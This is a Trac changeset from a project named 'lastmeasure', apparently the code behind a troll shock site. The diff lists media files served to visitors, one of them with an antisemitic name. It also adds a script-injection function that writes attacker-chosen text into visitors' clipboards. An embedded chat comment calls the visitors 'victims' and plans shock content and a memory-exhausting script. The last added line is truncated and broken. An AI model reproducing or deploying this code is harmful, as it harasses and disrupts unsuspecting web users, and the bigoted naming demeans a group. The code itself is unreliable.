Changeset 572
- Timestamp:
- 01/12/12 05:46:13 (17 months ago)
- Location:
- trollforge/lastmeasure
- Files:
-
- 1 added
- 1 edited
-
gnaa.mp3 (added)
-
server/lmresource.h (modified) (4 diffs)
Legend:
- Unmodified
- Added
- Removed
-
trollforge/lastmeasure/server/lmresource.h
r569 r572 71 71 "/audio/sam.wav", "/audio/trogg.wav", 72 72 73 /* <iframe> */ 74 "/lm.pdf", 75 "/lm2.pdf", 76 "/jews.wmv", 77 "/gnaa.mp3", 78 73 79 /* Other static files */ 74 80 "/flash/first_opener.swf", … … 77 83 "/flash/hey.swf", 78 84 79 "/lm.pdf",80 "/lm2.pdf",81 "/jews.wmv",82 85 "/LastCoffee.class", 83 86 "/gnaa.png", … … 85 88 "/favicon.ico", 86 89 "/robots.txt", 90 91 "/index.php", 87 92 }; 88 93 … … 628 633 return ret.str(); 629 634 } 635 /* 636 * 06:45:51 <incog> http://stackoverflow.com/questions/1203082/injecting-text-when-content-is-copied-from-web-page 637 * 06:46:19 <incog> stealing the js from this will allo LM to inject whatever it wants into the victims clipboards 638 * 06:47:09 <incog> from ascii art goatse, to more LM urls 639 * 06:47:31 <incog> to a js that generates a random string so big it eats all the ram 640 */ 641 static std::string Tynt() 642 { 643 std::stringstream ret(""); 644 645 ret << 646 647 "<script type=\"text/javascript\">\r\n" 648 " if(document.location.protocol=='http:'){\r\n" 649 " var Tynt=Tynt||[];Tynt.push('buPVQ-pnyr4zddacwqm_6l');Tynt.i={\"ap\":\"" << prefix << "\",\"as\":\"" << suffix << "\",\"c\":false,\"t\":true};\r\n" 650 " (function(){\r\n" 651 " var s=document.createElement('script');s.async=\"async\";s.type\="text/javascript\";s.src='http://tcr.tynt.com/ti.js';\r\n" 652 " var h=document.getElementsByTagName('script')[0];h.parentNode.insertBefore(s,h);})();\r\n" 653 " }\r\n" 654 "</script>\r\n"; 655 656 /* 657 "<script type=\"text/javascript\">\r\n" 658 " tyntVariables = {\"ap\":\"" << prefix << "\",\"as\":\"" << suffix << "\"};\r\n" 659 "</script>\r\n" 660 661 "<script type=\"text/javascript\" src=\"http://tcr.tynt.com/javascripts/Tracer.js?user=aDjyve6yar3BZFab7jrHcU&s=1&st=1&lang=en\"></script>\r\n"; 662 */ 663 664 return ret.str(); 665 } 666 630 667 631 668 private: 632 669 static const size_t NSTATICS = sizeof(staticnames) / sizeof(*staticnames); 633 670 static std::string m_statics[NSTATICS]; 671 static char const prefix = " 634 672 }; 635 673
Note: See TracChangeset
for help on using the changeset viewer.
